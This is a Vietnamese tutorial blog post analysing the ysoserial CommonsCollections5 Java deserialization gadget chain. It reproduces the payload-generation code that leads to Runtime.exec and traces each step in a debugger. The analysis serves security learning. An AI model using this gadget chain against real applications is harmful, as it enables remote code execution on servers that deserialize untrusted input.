Insecure deserialize Java 2 ## Tổng Quan - Nay chúng ta sẽ phân tích vài chain tiếp theo trong yoserial. Thì mình sẽ phân tích chain CC5 đây là 1 trong 7 gadgetchain liên quan tới library Apache CommonsCollections. Tại sao mình phân tích chain này thì mình thấy có nhiều bài phân tích nên mình sẽ dễ thở hơn nếu khó hiểu quá. - Thì Apache Commons Collections là một thư viện mã nguồn mở phổ biến trong Java, cung cấp các lớp và giao diện bổ sung cho các cấu trúc dữ liệu chuẩn của Java. - Đây là 1 chain khá dài và phân tích chain nay sẽ giúp ta nâng trình hơn về java deserialize và tiện thể học code java luôn. Hơn như nào thì mình không biết. ## Phân Tích - Chúng ta sẽ nhìn qua gadgetchain này trong yoserial xem nó làm gì nhé. - Đây là chain của nó nhé dài vle. ``` Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections */ /* This only works in JDK 8u76 and WITHOUT a security manager ``` - Đây là code để gen gadget cc5 trong yoserial. ```code= java public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> { public BadAttributeValueExpException getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); Reflections.setAccessible(valfield); valfield.set(val, entry); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return val; } ``` ### Serialized - Chúng ta sẽ xem qua ở quá trình gen gadget này nó set các giá trị như nào và làm cái mịa gì nhé. - OK bắt đầu nó sẽ tạo 1 mảng string execArgs Đây là những tham số command mà ta nhập vào. Mặc định sẽ là **calc.exe** ![image](https://hackmd.io/_uploads/ByszPrLxA.png) - Tiếp theo tiến hành tạo 1 object transformerChain từ class Transformer và giá trị của nó được gán thông qua khởi tạo 1 object từ class **ChainedTransformer (cho phép tạo ra một Transformer mới bằng cách kết hợp một mảng các Transformer khác nhau)** và như ta thấy mảng Transformer bên trong có sẵn 1 giá trị là 1 object của **class ConstantTransformer**. ![image](https://hackmd.io/_uploads/SJ9y9rUxC.png) - Đây là giá trị của **object transformerChain**. Nhưng đây cũng chỉ là giá trị tạm thời bởi tí nó ssex thay đổi giá trị qua reflection. ![image](https://hackmd.io/_uploads/BJdGcH8xC.png) - Tiếp theo nó gen 1 mảng Transformer với các giá trị trong mảng lần lượt như hình bên dưới. ![image](https://hackmd.io/_uploads/BJF1sSLlR.png) - Đây là sau khi gen xong: ![image](https://hackmd.io/_uploads/SkGbaC8lC.png) ![image](https://hackmd.io/_uploads/S1VlS9q-C.png) - Tiếp theo nó sẽ tạo 2 object Map 1 cái lưu trữ 1 object HashMap khi mà được transform qua method decorate. ![image](https://hackmd.io/_uploads/Hk3iKq9-C.png) - Tiếp đến tạo 1 object entry với key là foo và value à giá trị trước đó. ![image](https://hackmd.io/_uploads/Syas5q5ZR.png) - Cuối cùng là sẽ tạo 1 đối tượng val và lấy các đối tường valfield tương ứng với Field là val set cho nó có thể truy cập các thuộc tính private và gán cho nó 1 giá trị mới là giá trị **lazymap** và sau thay đổi giá trị của thuộc tính iTransformers thành giá trị transformers của object transformerChain thông qua reflections. ### Unserialized ``` Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() ``` - Chúng ta sẽ bắt đầu debug để phân tích. Chain sẽ bắt đầu từ readObject của class ObjectInputStream. Mà Thôi ta sẽ setDebug ngay class **BadAttributeValueExpException** ![image](https://hackmd.io/_uploads/HJmMthefR.png) - Ở đây nó sẽ tạo 1 biến là valObj để lấy giá trị của 1 Field hay thuộc tính của object ois cũng chính là payload của chúng ta. Và theo như qtrtinh serialize thuộc tính này chúng ta đã set nó qua reflextion bằng 1 object name là entry của class TiedMapEntry. ![image](https://hackmd.io/_uploads/SJW6hhefA.png) - Khi chúng ta set xong object valObj nó sẽ tự động thực thi gadget của chúng ta luôn do để hiển thị giá trị của valObj trên bảng variable debug cái IDE này nó tự động gọi tới gọi tới phương thức toString của đối tượng cần hiển thị và điều này khiến nó thực thi luôn cái gadget. ![image](https://hackmd.io/_uploads/ryKd3hxG0.png) - Như ta thấy trong source ơ dòng 86 nó mới gọi tới chain tiếp theo. Để giải quyết vấn đề nay ta sẽ setdebug ở chain tiếp theo tới khi nào nó hết hiện là đc =)). ![image](https://hackmd.io/_uploads/r1H_A2gfC.png) - Đây là chain tiếp theo nó gọi tới pt toString của TiedMapEntry. Và nó sẽ gọi tới 2 pt là getKey() và getValue. Ở chain này nó vẫn sẽ thực thi payload do gọi tới toString vi thế tốt nhất chúng ta nên đăt. breakpoint ở **LazyMap.get()**. - Chúng ta sẽ xem qua 2 mt getKey và getValue. ![image](https://hackmd.io/_uploads/HJ1KgpxMR.png) ![image](https://hackmd.io/_uploads/r12oxaeGR.png) - Cũng không có gì đặc biệt 1 cái trả về key và ở mt getValue nó sẽ gọi tới chain kế tiếp là **LazyMap.get()**. ![image](https://hackmd.io/_uploads/B132CeZfA.png) - Đầu tiên nó sẽ kiểm tra key xem có không nếu không nó sẽ thêm key vào và trước khi thêm key nó sẽ gọi tới chain tiếp theo quua việc gán giá trị cho object value. Giá trỉ của factory là giá trị của **transformerChain** theo như ta set ở qtrinh ser nó lưu 1 mảng là iTransformers như sau: ![image](https://hackmd.io/_uploads/S1usVbWGC.png) ![image](https://hackmd.io/_uploads/Bk_AEZZfR.png) - Đoạn code này sẽ duyệt qua từng phần từ của mảng iTransformers rồi gọi tới từng phương thức transform của nó. Ở vòng lặp đầu tiên sẽ là ConstantTransfomer. ![image](https://hackmd.io/_uploads/HkLp8bWGC.png) - Nó sẽ trả về giá trị iConstant là class `java.lang.Runtime` mà ta set từ trước rồi gán giá trị mới cho object. Không có gì nhỉ qua class tiếp là InvokerTransformers tiếp. ![image](https://hackmd.io/_uploads/Sy3NubbG0.png) ![image](https://hackmd.io/_uploads/rJRPdWZGC.png) - Ta có thể thấy nó sẽ kiểm tra xem object có null không nếu không nó sẽ tao ra 1 object Class cls để lưu trữ class hiện tại cuả object ta đưa vào input `java.lang.Runtime`. Lúc này nó sẽ lấy giá trị Class của input và tìm cái method cần gọi rồi sau cung la invoke cái method đấy. ![image](https://hackmd.io/_uploads/HJeNnZWGR.png) - Theo như những gì đã set ở phần ser thì giá trị của cls sẽ là class Class và tìm method có name là getMethod sau đó là gọi hay nói cách khác là invoke nó cùng với tham số là iArgs và kết quả trả về sẽ là method getRuntime của class runtime. - Sau đó nó return và gọi tới chain tiếp theo thôi. ![image](https://hackmd.io/_uploads/ryAuUMbzC.png) - Object của chúng ta đã là method **getRunTime()** chúng ta sẽ xem tiếp i=2 gọi tới gì. ![image](https://hackmd.io/_uploads/BJTS5MWz0.png) - Nó giống với cái nãy thôi do đều là class InvokerTransformer. ![image](https://hackmd.io/_uploads/rJPtKBbG0.png) - Theo như giá trị được set xong khi tra về method **getRunTime()** nó sẽ tìm trong class đó 1 method là invoke và sau đó dùng reflection để invoke cái method invoke đó và trả về. Khá là lằng nhằng nhể kết quả đơn giản là gọi tới method getRuntime và trả về 1 object runtime thôi. ![image](https://hackmd.io/_uploads/BJj8SkGGC.png) - ở vòng lặp tiếp theo của chúng ta nó sẽ goi tới exec. ![image](https://hackmd.io/_uploads/SJnCPJfzR.png) ![image](https://hackmd.io/_uploads/SJdo_1MGA.png) - Không cần giải thích nữa nhỉ khá giống mấy cái trên thôi đây là sink rồi nó sẽ gọi method exec của object runtime và calc.exe sẽ được gọi lên. - Điểm chính của cái gadget này là reflecion **method.invoke(obj,args)** và vòng lặp nữa cho phép ta call tới mọi method của 1 đối tượng. Điêu này cho phép ta call tới mọi class khác nhau nếu chúng ta thay đổi giá trị của mảng transfomers. ### Refferent https://sec.vnpt.vn/2020/02/the-art-of-deserialization-gadget-hunting-part-2/